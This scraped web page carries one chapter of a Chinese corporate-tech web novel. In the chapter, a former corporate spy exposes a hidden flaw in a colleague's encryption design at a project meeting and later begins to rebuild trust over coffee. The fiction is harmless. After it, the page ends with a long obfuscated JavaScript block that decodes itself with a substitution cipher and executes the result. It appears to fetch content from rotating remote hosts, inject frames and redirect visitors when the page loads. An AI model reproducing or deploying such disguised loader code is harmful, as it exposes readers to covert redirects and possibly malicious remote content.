首页
[切换至繁体版]
返回

第256章破冰的晨光

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第256章破冰的晨光(第1/2页)
    晨光熹微,透过龙胆科技大厦高层会议室巨大的落地窗,洒下一片淡金色的光晕,却驱不散室内凝滞沉重的空气。
    “五彩绫镜”项目核心组的首次正式会议,即将在这里举行。姚浮萍抱着她的特制笔记本,面无表情地坐在长桌左侧,指尖无意识地敲击着金属外壳,发出细密而压抑的声响。姚厚朴依旧沉默地跟在姐姐身后,选了个最角落的位置坐下,仿佛要将自己隐藏起来。曹辛夷来得最早,已经准备好了会议记录的设备,她今天穿了一身利落的白色西装,神情平静,目光偶尔扫过门口,带着一丝不易察觉的复杂。
    项目组的其他几位核心成员——来自算法、安全、产品部门的负责人也陆续就座,彼此间低声交谈着,眼神却都不约而同地瞥向那个依旧空着的位置。那是留给林晚的。尽管龙胆草力排众议,以“污点证人”和“数据安全顾问”的身份将她留在了公司,并纳入这个至关重要的新项目核心组,但信任的裂痕,并非一纸任命就能弥补。
    会议室的门被轻轻推开。
    林晚出现在门口。她穿着一身简洁的深灰色职业装,脸色有些苍白,但背脊挺得笔直。她手中拿着一个普通的文件夹,目光平静地迎向会议室里投射来的各色视线——有好奇,有审视,有漠然,而最锐利的,是来自姚浮萍那道几乎不加掩饰的冰冷与排斥。
    “抱歉,各位,我来晚了。”林晚的声音不大,却清晰地传入每个人耳中,带着一种刻意维持的镇定。她走到那个空位前,拉开椅子坐下,动作从容,仿佛感受不到周遭无形的压力。
    会议室内出现了一瞬间的寂静。
    龙胆草坐在主位,将这一切尽收眼底。他今天穿着深蓝色的衬衫,袖口随意挽起,神色沉稳,看不出太多情绪。他轻轻敲了敲桌面,打破了沉默:“好,人都到齐了。‘五彩绫镜’项目今天正式启动。这是公司未来三年的战略核心,重要性不言而喻。在开始讨论技术架构之前,我先明确一点。”
    他的目光缓缓扫过在场每一个人,最后在姚浮萍和林晚身上略有停留:“这个项目组,只存在一个目标——确保‘五彩绫镜’成功。个人情绪、过往纠葛,都必须为此让路。我需要的是专业、专注和结果。明白吗?”
    他的语气并不严厉,却带着不容置疑的分量。
    姚浮萍抿紧了嘴唇,没有作声,但敲击笔记本外壳的手指停了下来。林晚微微颔首,表示接受。
    “很好。”龙胆草看向姚浮萍,“浮萍,你先介绍一下整体技术规划和目前的核心难点。”
    姚浮萍深吸一口气,打开投影,开始陈述。她的思路清晰,语速很快,专业术语信手拈来,将“五彩绫镜”基于“星链”升级的分布式架构、拟采用的新型加密算法、以及如何在保证数据流通效率的前提下实现前所未有的隐私保护级别,阐述得明明白白。她的才华在这一刻展露无遗。
    “……因此,最大的挑战在于,”姚浮萍调出一张复杂的结构图,指向其中一个关键节点,“如何在底层数据交换协议中,嵌入我们自主研发的‘零知识验证’框架,同时不显著增加系统延迟。这部分的核心代码,将由我亲自负责。”
    她说完,目光下意识地扫了一眼林晚,带着一丝属于技术主导者的优越感和隐隐的挑战意味。仿佛在说,这才是真正的核心技术,不是你一个靠窃取数据、如今戴罪立功的人能触及的领域。
    林晚安静地听着,手指在摊开的笔记本上偶尔记录几笔,脸上看不出什么表情。
    “关于这个问题,”产品部负责人提出疑问,“用户端的兼容性怎么解决?尤其是对老旧设备的支持,会不会成为推广的瓶颈?”
    姚浮萍显然早有准备,流畅地给出了几个技术方案。
    会议似乎逐渐进入了正常的技术讨论节奏。然而,当话题深入到某个具体的数据脱敏算法优化时,一直沉默的林晚,忽然开口了。
    “姚总监,”她的声音不大,却让讨论暂停了下来,“关于您刚才提到的‘动态混淆因子生成策略’,我注意到是基于荆棘科技三年前公开的‘迷雾’算法的变种进行改良的。”
    姚浮萍眉头一皱,语气冷淡:“是又如何?我们做了大幅优化,效率和安全性早已不可同日而语。”
    “我知道。”林晚迎着她的目光,语气平和,却带着一种不容置疑的专业性,“但‘迷雾’算法有一个被刻意隐藏的底层缺陷,或者更准确地说,是一个由荆棘科技预留的、极难被发现的后门。它依赖于特定时间序列下的伪随机数种子生成规律。虽然您的优化绕开了明面的逻辑,但生成器的核心机制,可能仍受其潜在影响。”
    会议室里顿时安静下来。
    姚浮萍的脸色瞬间沉了下去:“林顾问,你的意思是,我设计的算法存在安全隐患?依据呢?就凭你在荆棘科技‘工作’过的那点经历?”她刻意加重了“工作”两个字,讽刺意味明显。
    其他几位负责人也面露疑色,看向林晚的目光充满了不信任。毕竟,质疑项目技术核心的负责人,还是由一个前商业间谍提出,这实在太敏感了。
    林晚并没有因为姚浮萍的态度而退缩,她打开带来的文件夹,取出几页打印出来的代码分析图和数学推导过程,推到桌子中央。
    “这是我对‘迷雾’算法及其十七种已知变种,包括姚总监您这个改良版本的逆向分析和概率模型推演。”林晚的声音依旧平静,却透着一股基于扎实研究的自信,“请看第三页的数学证明,以及第五页标注出的关键代码段。那个后门的触发条件极其苛刻,但在特定的大规模并发和数据流特征下,理论上是存在被利用的可能的。虽然概率极低,但对于‘五彩绫镜’定位的最高级别隐私保护标准,我认为任何已知的理论风险都应该被排除。”
    姚浮萍一把抓过那几页纸,飞快地浏览起来。起初她的表情是不屑的,但随着阅读的深入,她的眉头越皱越紧,眼神中的怒意逐渐被惊疑和凝重所取代。她是顶尖的技术专家,自然能看出林晚这份分析报告的分量。里面的推导严谨,指出的问题点虽然隐蔽,却并非无的放矢。尤其是那个关于伪随机数生成器的推论,角度刁钻,却直指核心,让她背后不禁冒出一层细汗。如果这个隐患真的存在,哪怕只有亿万分之一被触发的可能,对“五彩绫镜”而言都是致命的。
    (本章未完,请点击下一页继续阅读)第256章破冰的晨光(第2/2页)
    会议室里鸦雀无声,所有人都看着姚浮萍的反应。
    姚浮萍的指尖捏着那几页纸,微微颤抖。她抬起头,看向林晚,眼神极其复杂,有被当众质疑的恼怒,有对技术问题本身的重视,更有一种难以言喻的震惊——震惊于林晚在技术上的深厚功底和敏锐的洞察力,这绝不是一个普通的商业间谍所能具备的。
    “……这部分生成逻辑,确实借鉴了早期‘迷雾’的框架。”良久,姚浮萍才深吸一口气,声音有些干涩地承认,虽然极其不愿,但她无法在技术事实面前撒谎,“我会重新审核这部分代码,进行彻底的重构。”
    她这话一出,等于变相认可了林晚的质疑。
    会议室内的气氛变得更加微妙。几位负责人交换着眼神,再看向林晚时,目光中的轻视和怀疑减少了许多,取而代之的是一种重新评估的审慎。
    曹辛夷快速记录着,嘴角微微勾起一个不易察觉的弧度。
    龙胆草坐在主位,自始至终没有打断这场交锋。他看着林晚在姚浮萍强大的技术威压下,不卑不亢,以无可辩驳的专业素养指出关键问题,又看着姚浮萍最终抛开个人情绪,以技术负责人的身份承认疏漏。这比他预想中的“强制调和”要好得多。
    “既然发现了潜在风险,那就尽快解决。”龙胆草适时开口,一锤定音,“浮萍,这部分的重构工作由你负责,需要多久?”
    “至少……一周。”姚浮萍计算了一下,闷声回答。
    “好。”龙胆草点头,又看向林晚,“林顾问,感谢你提出的关键意见。后续的重构方案验证,也请你协助浮萍一起完成。”
    这个安排,让姚浮萍和林晚都愣了一下。让被质疑者去协助质疑者验证解决方案?
    姚浮萍嘴唇动了动,想说什么,但看到龙胆草不容置疑的眼神,最终还是把话咽了回去,只是脸色更加难看。
    林晚也微微蹙眉,但很快便恢复平静,点了点头:“好的,龙总。”
    会议继续进行,但接下来的讨论,明显绕开了那个敏感的技术点,气氛虽然不再像最初那样剑拔弩张,却多了一层尴尬和小心翼翼。
    会议结束后,众人各自收拾东西离开。姚浮萍第一个站起身,看也没看林晚一眼,径直快步走了出去。姚厚朴默默跟上。
    林晚整理好自己的东西,落在最后。当她走到门口时,发现曹辛夷正站在那里,似乎在等她。
    “一起去喝杯咖啡?”曹辛夷微笑着发出邀请,语气自然,仿佛只是同事间随口的寒暄。
    林晚有些意外,看着曹辛夷清澈的目光,略一迟疑,点了点头:“好。”
    两人来到楼下的咖啡厅,选了个靠窗的安静位置。
    “刚才在会上,很厉害。”曹辛夷搅拌着杯中的拿铁,率先开口,语气真诚,“浮萍姐在技术上是很少服人的。”
    林晚轻轻摩挲着温热的咖啡杯壁,摇了摇头:“我只是指出了可能存在的问题。真正解决问题,还是要靠姚总监。”
    “能发现问题,本身就是一种能力。”曹辛夷看着她,“尤其是,顶着那么大的压力。”
    林晚沉默了一下,抬起头,看向曹辛夷:“曹总监,你……不怪我吗?”她指的是之前身份暴露,给公司和团队带来的危机。
    曹辛夷笑了笑,那笑容有些复杂,带着些许释然,也带着一丝无奈:“说完全不在意是假的。那段时间,公司上下压力都很大,我也很生气,觉得被欺骗了。但是……”她顿了顿,语气变得认真,“龙胆说得对,你也是受害者。而且,你最后选择了站在我们这边,承担了风险,提供了关键证据。比起沉溺于过去的情绪,我更看重现在和未来。‘五彩绫镜’项目需要每一个人的力量,包括你的。”
    她的话语坦诚而直接,没有虚伪的客套,也没有刻意的同情,更像是一种基于理性判断的认可。
    林晚心中微微一颤,一股暖流混合着酸涩涌上心头。这段时间以来,她承受了太多的怀疑、排斥和冷眼,曹辛夷这番话,像是阴霾中透出的一缕阳光。
    “谢谢。”林晚低声说,这两个字包含了太多复杂的情绪。
    “不用谢我。”曹辛夷摇摇头,目光望向窗外车水马龙的街道,语气变得有些悠远,“其实,我们都一样,都在用自己的方式,守护着认为重要的东西。只是……选择的路不同而已。”
    她话中有话,似乎不仅仅指林晚的事情。
    林晚似乎听懂了什么,没有接话,只是默默喝着咖啡。
    短暂的沉默后,曹辛夷收回目光,重新看向林晚,脸上恢复了平时的明快笑容:“好了,不说这些了。以后在工作上,如果遇到什么困难,或者……有人故意刁难,可以来找我。毕竟,我现在好歹也算你的‘直属领导’之一?”她俏皮地眨了眨眼。
    林晚也忍不住微微弯起了嘴角:“好,谢谢曹总监。”
    “叫我辛夷就好。”曹辛夷站起身,“走吧,回去还有一堆活儿要干呢。‘五彩绫镜’这块硬骨头,可不好啃。”
    两人并肩走回大厦。阳光透过玻璃幕墙,洒在光洁的地板上,也洒在她们身上。
    信任的重建,道阻且长。但至少,在这个清晨,第一块坚冰,在专业与坦诚的碰撞下,出现了细微的裂痕。而未来的路,似乎也因此,照进了一丝真实的微光。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();